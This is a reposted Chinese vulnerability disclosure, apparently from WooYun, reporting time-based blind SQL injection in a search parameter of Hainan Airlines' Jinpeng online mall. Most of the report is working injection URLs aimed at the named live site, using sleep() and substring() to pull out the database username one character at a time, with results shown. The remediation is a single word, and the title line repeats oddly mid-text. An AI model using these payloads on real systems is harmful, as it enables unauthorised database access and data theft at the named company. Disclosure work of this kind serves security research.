神刀安全网

漏洞标题: 海南航空某站存在SQL注入

漏洞详情

披露状态:

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

╮(╯_╰)╭

详细说明:

#0.存在注入的站点 http://www.airshop.com.cn/ 海南航空金鹏商城

#1.漏洞说明 http://www.airshop.com.cn/ffpclub/kingpeng_list.php Get keyword参数存在 MySQL基于时间的注入

这里对延时注入进行简单验证: http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29/*%27XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%27%22XOR%28if%28now%28%29%3dsysdate%28%29%2csleep%280%29%2c0%29%29OR%22*/

漏洞标题:  海南航空某站存在SQL注入

漏洞标题:  海南航空某站存在SQL注入

漏洞标题:  海南航空某站存在SQL注入

#3.漏洞验证(这里跑出数据库的user信息)

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*'XOR(if(ascii(substring(user(),1,1))=101,sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

e

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),2,1))=99,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

c

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),3,1))=115,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

s

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),4,1))=104,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

h

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),5,1))=111,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

o

http://www.airshop.com.cn/ffpclub/kingpeng_list.php?keyword=if(now()=sysdate(),sleep(0),0)/*%27XOR(if(ascii(substring(user(),6,1))=112,sleep(2),0))OR%27%22XOR(if(now()=sysdate(),sleep(0),0))OR%22*/

p

即数据库用户名为:ecshop(原来是使用的ecshop的程序…)

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 V1ct0r@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 海南航空某站存在SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址